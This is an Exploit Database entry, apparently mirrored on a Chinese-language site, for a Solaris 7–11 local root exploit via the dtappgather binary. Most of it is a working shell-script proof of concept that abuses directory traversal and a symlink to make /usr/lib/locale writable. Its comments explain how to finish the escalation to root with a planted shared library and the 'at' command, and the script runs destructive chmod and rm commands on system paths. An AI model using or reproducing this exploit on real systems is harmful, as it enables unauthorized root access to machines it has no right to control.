Solaris 7 < 11 (SPARC/x86) - 'EXTREMEPARR' dtappgather Privilege Escalation

• Exploit Database
• 118 阅读

• 作者： Hacker Fantastic
  日期： 2017-04-12
• 类别：

  • local
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/41871/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  #!/bin/ksh #Exploit PoC reverse engineered from EXTREMEPARR which provides #local root on Solaris 7 - 11 (x86 & SPARC). Uses a environment #variable of setuid binary dtappgather to manipulate file #permissions and create a user owned directory anywhere on the #system (as root). Can then add a shared object to locale folder #and run setuid binaries with an untrusted library file. # # e.g. # $ id;uname -a; ./dtappgather-poc.sh # uid=60001(nobody) gid=60001(nobody) # SunOS sparc 5.8 Generic_117350-39 sun4m sparc SUNW,SPARCstation-20 # [+] '/usr/dt/bin/dtappgather' directory traversal exploit # [-] get rid of any of our desktop files # [-] exploiting the traversal bug... # changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory # MakeDirectory: /var/dt/appconfig/appmanager/..: File exists # changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory # [-] symlink attack create our directory # dr-xr-xr-x 2 nobody nobody 512 Apr 11 14:40 pdkhax # [-] Done. "/usr/lib/locale/pdkhax" is writeable # $ # # To get root privileges simply exploit "at" by adding a .so.2 # file in the new locale directory and calling "at". # # $ at -f /etc/passwd 11:11 # job 1491991860.a at Ons Apr 12 11:11:00 2017 # $ LC_TIME=pdkhax at -l # # id # uid=0(root) gid=60001(nobody) # # -- Hacker Fantastic (www.myhackerhouse.com) echo "[+] '/usr/dt/bin/dtappgather' directory traversal exploit" echo "[-] get rid of any of our desktop files" chmod -R 777 /var/dt/appconfig/appmanager/* rm -rf /var/dt/appconfig/appmanager/* echo [-] exploiting the traversal bug... DTUSERSESSION=. /usr/dt/bin/dtappgather DTUSERSESSION=. /usr/dt/bin/dtappgather DTUSERSESSION=.. /usr/dt/bin/dtappgather DTUSERSESSION=.. /usr/dt/bin/dtappgather DTUSERSESSION=.. /usr/dt/bin/dtappgather echo [-] symlink attack create our directory ln -sf /usr/lib/locale /var/dt/appconfig/appmanager DTUSERSESSION=pdkhax /usr/dt/bin/dtappgather ls -al /usr/lib/locale | grep pdkhax rm -rf /var/dt/appconfig/appmanager chmod 755 /usr/lib/locale/pdkhax echo [-] Done. "/usr/lib/locale/pdkhax" is writeable